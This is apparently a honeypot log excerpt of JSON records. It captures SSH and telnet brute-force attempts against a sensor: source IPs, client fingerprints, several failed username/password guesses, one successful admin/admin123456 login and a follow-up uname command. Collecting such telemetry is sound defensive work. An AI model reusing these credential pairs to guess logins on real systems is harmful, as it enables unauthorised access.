{"eventid":"cowrie.session.closed","duration":32.41677141189575,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:01.301298Z","src_ip":"152.42.224.71","session":"9a0e428dca60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":36256,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2ffa9a04a0","protocol":"ssh","message":"New connection: 103.91.246.101:36256 (10.17.0.5:22) [session: cb2ffa9a04a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:01.497898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:01.505137Z","src_ip":"103.91.246.101","session":"cb2ffa9a04a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:01.723693Z","src_ip":"103.91.246.101","session":"cb2ffa9a04a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4dm1n","message":"login attempt [root/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:02.625906Z","src_ip":"103.91.246.101","session":"cb2ffa9a04a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:03.846645Z","src_ip":"103.91.246.101","session":"cb2ffa9a04a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38564,"dst_ip":"159.203.135.109","dst_port":22,"session":"21376457218c","protocol":"ssh","message":"New connection: 31.40.204.166:38564 (159.203.135.109:22) [session: 21376457218c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:03.881437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:03.913251Z","src_ip":"31.40.204.166","session":"21376457218c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:04.018071Z","src_ip":"31.40.204.166","session":"21376457218c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"233291a8d713","protocol":"telnet","message":"New connection: 152.42.224.71:53592 (10.17.0.5:23) [session: 233291a8d713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:04.043082Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:05.006002Z","src_ip":"31.40.204.166","session":"21376457218c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:06.185489Z","src_ip":"31.40.204.166","session":"21376457218c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"4744cfa31920","protocol":"telnet","message":"New connection: 152.42.224.71:39970 (10.17.0.5:23) [session: 4744cfa31920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:07.135455Z"}
{"eventid":"cowrie.session.closed","duration":75.67206263542175,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:11.539035Z","src_ip":"152.42.224.71","session":"456f7f38da65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.460421562194824,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:12.143288Z","src_ip":"152.42.224.71","session":"84831d42aaad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.323346853256226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:12.886236Z","src_ip":"152.42.224.71","session":"f0adfbd00b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba0d41b7a3ee","protocol":"telnet","message":"New connection: 152.42.224.71:39974 (10.17.0.5:23) [session: ba0d41b7a3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:13.207540Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43544,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e400ef88818","protocol":"ssh","message":"New connection: 31.40.204.166:43544 (159.203.135.109:22) [session: 2e400ef88818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:16.211026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:16.220239Z","src_ip":"31.40.204.166","session":"2e400ef88818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:16.384842Z","src_ip":"31.40.204.166","session":"2e400ef88818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.08721303939819,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:16.540467Z","src_ip":"152.42.224.71","session":"28f08028099d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31973719596863,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:16.981653Z","src_ip":"152.42.224.71","session":"582c719802da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:17.091362Z","src_ip":"31.40.204.166","session":"2e400ef88818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:18.216902Z","src_ip":"31.40.204.166","session":"2e400ef88818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00690340995789,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:23.857905Z","src_ip":"152.42.224.71","session":"b740abe6295a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":60428,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1589c252b9a","protocol":"ssh","message":"New connection: 43.156.96.97:60428 (10.17.0.5:22) [session: c1589c252b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:24.350920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:24.354484Z","src_ip":"43.156.96.97","session":"c1589c252b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:24.599533Z","src_ip":"43.156.96.97","session":"c1589c252b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariano","message":"login attempt [root/mariano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:25.612031Z","src_ip":"43.156.96.97","session":"c1589c252b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:26.860791Z","src_ip":"43.156.96.97","session":"c1589c252b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55330,"dst_ip":"10.17.0.5","dst_port":23,"session":"425f827cd4ba","protocol":"telnet","message":"New connection: 152.42.224.71:55330 (10.17.0.5:23) [session: 425f827cd4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:27.143981Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55332,"dst_ip":"10.17.0.5","dst_port":23,"session":"c182dcc67d42","protocol":"telnet","message":"New connection: 152.42.224.71:55332 (10.17.0.5:23) [session: c182dcc67d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:27.664448Z"}
{"eventid":"cowrie.session.closed","duration":39.95622515678406,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:27.993222Z","src_ip":"152.42.224.71","session":"5760848bbf2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43916,"dst_ip":"159.203.135.109","dst_port":22,"session":"4290cf4422c4","protocol":"ssh","message":"New connection: 31.40.204.166:43916 (159.203.135.109:22) [session: 4290cf4422c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:28.182547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:28.186997Z","src_ip":"31.40.204.166","session":"4290cf4422c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:28.387291Z","src_ip":"31.40.204.166","session":"4290cf4422c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:28.893791Z","src_ip":"31.40.204.166","session":"4290cf4422c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:30.024919Z","src_ip":"31.40.204.166","session":"4290cf4422c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55338,"dst_ip":"10.17.0.5","dst_port":23,"session":"549305f0f0a7","protocol":"telnet","message":"New connection: 152.42.224.71:55338 (10.17.0.5:23) [session: 549305f0f0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:31.831050Z"}
{"eventid":"cowrie.session.closed","duration":109.16437649726868,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:35.315773Z","src_ip":"152.42.224.71","session":"870d23bbb459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58708,"dst_ip":"159.203.135.109","dst_port":22,"session":"657519619013","protocol":"ssh","message":"New connection: 31.40.204.166:58708 (159.203.135.109:22) [session: 657519619013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:40.082401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:40.095020Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:40.207935Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.8114538192749,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:40.312431Z","src_ip":"152.42.224.71","session":"a4acc018dbfb","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:40.806887Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:41.169952Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:41.173492Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:41.315910Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:41.321106Z","src_ip":"31.40.204.166","session":"657519619013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"d65cb108bb6e","protocol":"ssh","message":"New connection: 190.85.41.170:51032 (10.17.0.5:22) [session: d65cb108bb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:50.763683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:50.768526Z","src_ip":"190.85.41.170","session":"d65cb108bb6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-c